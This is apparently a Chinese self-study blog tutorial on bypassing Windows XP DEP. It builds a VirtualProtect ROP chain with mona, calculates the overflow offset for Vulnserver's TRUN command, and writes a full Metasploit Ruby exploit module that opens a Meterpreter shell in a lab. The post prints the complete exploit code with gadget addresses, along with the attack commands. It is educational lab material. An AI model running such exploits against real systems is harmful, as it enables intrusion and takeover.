[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell

这是做者的网络安全自学教程系列,主要是关于安全工具和实践操做的在线笔记,特分享出来与博友们学习,但愿您们喜欢,一块儿进步。前文分享了基于SEH异常处理机制的栈溢出漏洞,利用一个恶意的请求头部(HEAD或GET)引发缓冲区溢出,从而改写SEH链的地址并反弹Shell。本文将讲解DEP堆栈执行保护机制,经过构造ROP链来绕过DEP保护,重点利用VirtualProtect,最终编写漏洞利用脚本并实现自动化攻击。基础性文章,但愿对您有所帮助。php

本文的内容包括:html

  • 了解DEP保护(堆栈执行保护)
  • 理解构造ROP链从而绕过DEP的原理,重点理解利用VirtualProtect
  • 搭建环境:XP系统安装VulnServer、Kali系统控制台利用
  • 验证DEP是否开启
  • 使用Msfconsole进入msf控制台
  • 计算偏移量,利用mona建立ROP链
  • 编写漏洞利用脚本(绕过DEP的Metasploit模块),实现自动化攻击
  • 经过Metasploit反弹Shell

在这里插入图片描述

做者做为网络安全的小白,分享一些自学基础教程给你们,主要是关于安全工具和实践操做的在线笔记,但愿您们喜欢。同时,更但愿您能与我一块儿操做和进步,后续将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是文章对您有帮助,将是我创做的最大动力,点赞、评论、私聊都可,一块儿加油喔~python

PS:本文参考了安全网站和参考文献中的文章(详见参考文献),并结合本身的经验和实践进行撰写,也推荐你们阅读参考文献。git

软件安全:https://github.com/eastmountyxz/Software-Security-Course/tree/master/6-Windows-Vulnerability
其余工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
基础工具:https://github.com/eastmountyxz/Security-Software-Basedgithub


声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。web

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防护原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防护原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防护(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提升班之hack the box在线靶场注册及入门知识
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制做(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客经常使用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取正则表达式


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包算法


一.DEP保护

数据执行保护(Data Execution Prevention,DEP)是一套软硬件技术,可以在内存上执行额外检查以帮助防止在系统上运行恶意代码。其基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入Shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。shell

在这里插入图片描述

DEP的主要做用是阻止数据页(如默认的堆页、各类堆栈页以及内存池页)执行代码。微软从Windows XP SP2开始提供这种技术支持,根据实现的机制不一样可分为:软件DEP(Software DEP)和硬件DEP(Hardware-enforced DEP)。数据库

  • 软件DEP其实就是SafeSEH,其目的是阻止利用S.E.H的攻击,这种机制与CPU硬件无关,Windows利用软件模拟实现DEP,对操做系统提供必定的保护。SafeSEH会在校验过程当中去检查异常处理函数是否位于非可执行页上。
  • 硬件DEP才是真正意义的DEP,硬件DEP须要CPU的支持,AMD和Intel都为此作了设计,AMD称之为No-Execute Page-Protection (NX),Intel称之为Execute Disable Bit (XD) ,二者功能及工做原理在本质上是相同的。

在这里插入图片描述

因为Windows XP sp3开启了DEP保护,因此咱们要绕过DEP保护才能执行Shellcode,本文采用ROP方式调用VirtualProtect方法绕过DEP。



二.XP系统与Kali网络配置

本实验目的是Kali系统利用Windows XP栈溢出漏洞,以Metasploit溢出bof-server.exe为例,进行攻击及shell反弹。在进行全部实验以前,须要保证虚拟机各系统之间可以相互通讯,安装过程详见以前的文章。

第一步,点击“虚拟机”->“设置”。

在这里插入图片描述

第二步,将XP和Kali网络链接属性均勾选成“NAT模式”,而后点击肯定。

在这里插入图片描述

第三步,配置后在kali的shell上用ifconfig命令查看主机IP。

  • Kali:ifconfig 192.168.44.129

在这里插入图片描述

在这里插入图片描述

第四步,在Windows的命令行中用ipconfig查看主机IP。

  • XP:ipconfig 192.168.44.130

在这里插入图片描述

同时,主机Win10系统也可以Ping通虚拟机和Kali系统。

在这里插入图片描述

在这里插入图片描述



三.验证DEP是否开启

bof-server下载地址:Eastmount Github


第一步,在CMD中运行bof-server.exe服务器软件,端口是4242。

bof-server.exe 4242

在这里插入图片描述

第二步,为了验证DEP是否开启,我尝试用Python编写1024个A字符串,并发送给XP系统的缓冲区。

python -c "print('A'*1024)"
telnet 192.168.44.130 4242

在这里插入图片描述

复制1024个字符并发送,以下图所示:

在这里插入图片描述

此时,XP系统显示栈溢出漏洞,并提示相关的报错点Offset地址。

在这里插入图片描述

在这里插入图片描述

第四步,因为DEP已经被关闭(详见第五十三篇博客),这里须要将其打开。

第一种方法,此时显示关闭的,由于以前简单栈溢出实验咱们手动关闭了。右键"个人电脑"->“属性”->“高级”->“性能设置”->“数据执行保存”->选择"为除下列选定程序以外的全部程序和服务启用DEP (U)"->“肯定”。从而打开Windows XP系统的DEP保护。

在这里插入图片描述

但此时按钮显示灰色,并提示你修改boot.ini文件。


第五步,点击“启动和故障恢复设置”->“编辑”,而后输入对应的字符变量。

在这里插入图片描述

咱们将“noexecute=AlwaysOff”修改成“noexecute=AlwaysOn”,表示开启DEP堆栈执行保护,接着重启电脑。

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" 
/noexecute=AlwaysOn /fastdetect
  • Alwaysoff:关闭DEP
  • AlwaysOn:开启DEP
  • Optin :开启DEP

在这里插入图片描述

第六步,咱们设置完成以后,重启XP系统并再次打开bof-server.exe服务。Kali系统继续发送字符串。

在这里插入图片描述

此时XP系统报错以下,它是已经被数据执行保护,而且没法看到偏移位置。

在这里插入图片描述


四.开启Vulnserver监听服务

Vulnserver下载地址:Eastmount Github


第一步,设置文件共享,并将文件Vulnserver分享至XP系统。

在这里插入图片描述

在这里插入图片描述

第二步,以管理员打开命令行CMD,并运行Vulnserver程序。

在这里插入图片描述

在Windows XP系统的命令行中切换到vlunserver.exe所在的目录,执行以下命令,监听端口为6666。

vlunserver.exe 6666

在这里插入图片描述

第三步,此时Kali系统可以与XP服务器进行通信,经过输入HELP能够查看对应的帮助信息。

telnet 192.168.44.130 6666
HELP

在这里插入图片描述



五.Immunity Debugger分析Vulnserver进程

第一步,打开Immunity Debugger软件,依次选择ImmunityDebugger的File->Attach,显示目标机上运行的全部进程。

在这里插入图片描述

第二步,选中“vulnserver”软件并点击按钮Attach,显示该进程相关信息。

在这里插入图片描述

运行以下图所示:

在这里插入图片描述

第三步,此时右下角标记为“Paused”,点击运行Play按钮让其处于“Running”状态。

在这里插入图片描述


接着咱们须要使用Immunity Debugger的插件Mona,将Python脚本下载并复制到安装的文件夹下。下载地址:https://github.com/corelan/mona

第四步,将mona.py复制到XP系统目录。

  • C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

在这里插入图片描述

在这里插入图片描述

第五步,选中View->Log菜单,在Immunity Debugger命令行下输入以下“!mona modules”命令启动Mona分析DLL文件。

!mona modules

在这里插入图片描述

在这里插入图片描述

第六步,从输出不少DLL文件中找到msvcrt.dll文件,并导出复制至Kali系统。

  • C:\Windows\system32\msvcrt.dll

在这里插入图片描述

在这里插入图片描述



六.Kali查找ROP指令片断

第一步,将XP系统的C:\Windows\system32\msvcrt.dll上传到Kali目录下。
注意,做者采用的是百度云网盘在虚拟机、主机之间共享文件,也能够设置共享文件夹。

在这里插入图片描述

在这里插入图片描述

第二步,使用工具Metasploit的msfrop进行ROP片断提取。

msfconsole
msfrop -v -s "pop cex" /root/msvcrt.dll

在这里插入图片描述

在这里插入图片描述

注意:该部份内容是帮助你们熟悉ROP片断分析功能,后续其余实验会用到。



七.获取偏移地址

这是相当重要的步骤,经过查看vulnserver源代码,发现当发送字符串超过3000时会形成栈溢出,这里经过下面的方式计算偏移量。

在这里插入图片描述

对应的源代码以下,它也是漏洞点。此处采用的方法是Immunity附加进程后,在服务端发送3000个字符计算偏移。

在这里插入图片描述


第一步,从新运行vulnserver服务器。

vulnserver.exe 6666

在这里插入图片描述

第二步,在Kali系统中,经过命令生成3000个字符。

msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

在这里插入图片描述

在这里插入图片描述

第三步,打开Immunity Debugger软件,而且选中“vulnserver”服务点击“Attach”,监听运行着的服务。注意,点击运行Play按钮让其处于Running状态。

在这里插入图片描述

第四步,经过Kali系统创建远程链接,并调用TRUN指令发送字符串。

telnet 192.168.44.130 6666
HELP
TRUN .Aa0........(复制3000个字符)

在这里插入图片描述

第五步,回到XP系统,此时的Immunity Debugger软件处于暂停状态,咱们记住EIP值。经过该值来查询对应的Offset。

在这里插入图片描述

EIP:396F4338

在这里插入图片描述

第六步,经过pattern_offset.rb计算偏移量。

  • -q 396F4338 -l 3000
msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396F4338 -l 3000

在这里插入图片描述

记住这个偏移量:2006,它将写入咱们的攻击脚本。



八.建立ROP链

接着,咱们须要构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode。


第一步,咱们从新在CMD中启动vulnserver服务,调用Immunity Debugger软件并处于监听状态。
在ImmunityDebugger命令行输入以下命令:

!mona rop -m *.dll -cp nonull

在这里插入图片描述

执行后,须要等待几分钟,会在ImmunityDebugger安装目录下生成一个rop_chains.txt文件。

  • C:\Program Files\Immunity Inc\Immunity Debugger

在这里插入图片描述

第二步,打开rop_chains.txt文件,找到以下代码片断。

在这里插入图片描述

核心代码片断以下,咱们须要将其复制到Ruby攻击脚本中。

*** [ Ruby ] ***

  def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = 
    [
      0x77c10b7f,  # POP ECX # RETN [msvcrt.dll] 
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x77d5373d,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll] 
      0x7c96d192,  # XCHG EAX,ESI # RETN [ntdll.dll] 
      0x75c87aea,  # POP EBP # RETN [urlmon.dll] 
      0x625011af,  # & jmp esp [essfunc.dll]
      0x7c87f229,  # POP EAX # RETN [kernel32.dll] 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x719ec15c,  # NEG EAX # RETN [mswsock.dll] 
      0x7c9259c8,  # XCHG EAX,EBX # RETN [ntdll.dll] 
      0x769e8c83,  # POP EAX # RETN [ole32.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77eba3d7,  # NEG EAX # RETN [RPCRT4.dll] 
      0x7c8409d4,  # XCHG EAX,EDX # RETN [kernel32.dll] 
      0x10012c12,  # POP ECX # RETN [USP10.dll] 
      0x71a15fd2,  # &Writable location [WS2HELP.dll]
      0x719e4889,  # POP EDI # RETN [mswsock.dll] 
      0x77e6c786,  # RETN (ROP NOP) [RPCRT4.dll]
      0x76f0c426,  # POP EAX # RETN [DNSAPI.dll] 
      0x90909090,  # nop
      0x60ff9206,  # PUSHAD # RETN [hnetcfg.dll] 
    ].flatten.pack("V*")

    return rop_gadgets

  end

  # Call the ROP chain generator inside the 'exploit' function :

  rop_chain = create_rop_chain()

第三步,将这段代码拷贝到Github的Ruby攻击脚本中,用于绕过DEP的Metasploit模块,并渗透反弹Shell。

rop_attack.rb源代码:

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DEP Bypass Exploit',
      'Description'    => %q{ DEP Bypass Using ROP Chains Example Module },
      'Platform'       => 'Windows',
      'Author'         => 'yxz',
      'Payload'        =>
        		  {
          		  'space'     => 312,
          		  'BadChars'  => "\x00"
        		  },
      'Targets'        =>
      		  	  [
          		    [
			    'Windows XP',
			    {'Offset'  => find it}
			    ]
        		  ],
      'DisclosureDate' => '2020-02-26'))
  end

  def create_rop_chain()
    # rop chain generated with mona.py - www.corelan.be
  end

  def exploit
    connect
    rop_chain = create_rop_chain()
    junk = make_nops(target['Offset'])
    buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n'
    sock.put(buf)
    handler
    disconnect
  end
end

须要修改两个值,offset对应为2006,def create_rop_chain()函数为咱们从rop_chains.txt文件中复制来的代码。

完整代码:

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DEP Bypass Exploit',
      'Description'    => %q{ DEP Bypass Using ROP Chains Example Module },
      'Platform'       => 'Windows',
      'Author'         => 'yxz',
      'Payload'        =>
        		  {
          		  'space'     => 312,
          		  'BadChars'  => "\x00"
        		  },
      'Targets'        =>
      		  	  [
          		    [
			    'Windows XP',
			    {'Offset'  => 2006}
			    ]
        		  ],
      'DisclosureDate' => '2020-02-26'))
  end

  def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = 
    [
      0x77c10b7f,  # POP ECX # RETN [msvcrt.dll] 
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x77d5373d,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll] 
      0x7c96d192,  # XCHG EAX,ESI # RETN [ntdll.dll] 
      0x75c87aea,  # POP EBP # RETN [urlmon.dll] 
      0x625011af,  # & jmp esp [essfunc.dll]
      0x7c87f229,  # POP EAX # RETN [kernel32.dll] 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x719ec15c,  # NEG EAX # RETN [mswsock.dll] 
      0x7c9259c8,  # XCHG EAX,EBX # RETN [ntdll.dll] 
      0x769e8c83,  # POP EAX # RETN [ole32.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77eba3d7,  # NEG EAX # RETN [RPCRT4.dll] 
      0x7c8409d4,  # XCHG EAX,EDX # RETN [kernel32.dll] 
      0x10012c12,  # POP ECX # RETN [USP10.dll] 
      0x71a15fd2,  # &Writable location [WS2HELP.dll]
      0x719e4889,  # POP EDI # RETN [mswsock.dll] 
      0x77e6c786,  # RETN (ROP NOP) [RPCRT4.dll]
      0x76f0c426,  # POP EAX # RETN [DNSAPI.dll] 
      0x90909090,  # nop
      0x60ff9206,  # PUSHAD # RETN [hnetcfg.dll] 
    ].flatten.pack("V*")

    return rop_gadgets

  end

  def exploit
    connect
    rop_chain = create_rop_chain()
    junk = make_nops(target['Offset'])
    buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n'
    sock.put(buf)
    handler
    disconnect
  end
end


九.Kali执行Exploit

第一步,将rop_attack.rb脚本上传到Kali的/usr/share/metasploit-framework/modules/exploits/windows/meterpreter/目录下。

cp ./rop_attack.rb /usr/share/metasploit-framework/modules/exploits/windows/meterpreter
cd /usr/share/metasploit-framework/modules/exploits/windows/meterpreter
ls

在这里插入图片描述

第二步,运行攻击脚本并拿到了目标服务器的Meterpreter Shell。

  • 启动msf控制台
    msfconsole
  • 运行ruby脚本
    use exploit/windows/meterpreter/rop_attack.rb
  • 设置目标服务器IP地址(Windows XP系统)
    set RHOST 192.168.44.130
  • 设置目标服务器端口
    set RPORT 6666
  • 查看配置信息
    show options

在这里插入图片描述

第三步,调用exploit命令对栈溢出漏洞进行攻击。再输入ls,能够看到咱们目标XP服务器的E盘内容已经被提权,这就是所谓的Windows漏洞利用。

在这里插入图片描述

在这里插入图片描述

上面“ls”命令对应的内容即为XP系统E盘的文件,以下图所示。

在这里插入图片描述

咱们在执行这些操做过程当中,XP系统的服务须要一直运行,处于监听状态。某些状况可能会提示错误“Exploit completed, but no session was created”,建议你们在目标机上多运行几回服务和在Kali上多运行几回exploit,直到成功拿到Meterpreter Shell。

在这里插入图片描述

总结:本实验经过构建ROP链成功绕狗DEP保护,最终拿到Shell。



十.总结

文章写到这里,就介绍完毕,但愿文章对您有所帮助,尤为是文章扩展的几个工具,您下来也能够详细学习。这篇文章主要讲解了若是搭建XP和Kali环境,经过构造ROP链来绕过DEP保护,重点利用VirtualProtect,最终编写漏洞利用脚本并实现自动化攻击反弹Shell。该绕过DEP栈溢出的具体流程包括:

  • 搭建环境:XP系统安装VulnServer、Kali系统控制台利用
  • 验证DEP是否开启
  • 使用Msfconsole进入msf控制台
  • 计算偏移量Offset,利用mona建立ROP链
  • 编写Ruby漏洞利用脚本(绕过DEP的Metasploit模块),实现自动化攻击
  • 经过Metasploit反弹Shell

虽然是很是基础的一篇文章,但但愿读者阅读并完成文章的实验。接下来做者将继续学习并分享更多的Windows漏洞利用或网络安全的文章。最后给出相关的命令。

Kali系统:

telnet 192.168.44.130 6666
msfconsole
msfrop -v -s "pop cex" ./msvcrt.dll
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396F4338 -l 3000
cp ./rop_attack.rb /usr/share/metasploit-framework/modules/exploits/windows/meterpreter
cd /usr/share/metasploit-framework/modules/exploits/windows/meterpreter
msfconsole
use exploit/windows/meterpreter/rop_attack.rb
set RHOSTS 192.168.44.130
set RPORT 6666
show options
exploit
ipconfig
ls

Windows系统:

vulnserver.exe 6666
!mona modules
!mona rop -m *.dll -cp nonull

但愿这系列文章对您有所帮助,真的感受本身技术好菜,要学的知识好多。这是第54篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,做为初学者,本身真是爬着前行,感谢不少人的帮助,继续爬着,继续加油!

欢迎你们讨论,是否以为这系列文章帮助到您!若是存在不足之处,还请海涵。任何建议均可以评论告知读者,共勉~

武汉加油!湖北加油!中国加油!!!

(By:Eastmount 2020-03-03 凌晨1点写于贵阳 http://blog.csdn.net/eastmount )


参考文献:
[1]《软件安全》课程Windows漏洞利用实验 YH师弟
[2] https://github.com/corelan/mona
[3] Windows漏洞利用系列软件 - Eastmount
[4] DEP原理及关闭 - 淡淡的琉璃
[5] 渗透之——使用Metasploit编写绕过DEP渗透模块 - 冰河大神
[6] Rop实战之利用VirtualProtect绕过DEP - 五千年木
[7] 利用ROP链突破DEP保护机制 - Puzzor
[8] 利用 ROP 技术绕过 DEP 保护的一次简单尝试 - 墨鱼菜鸡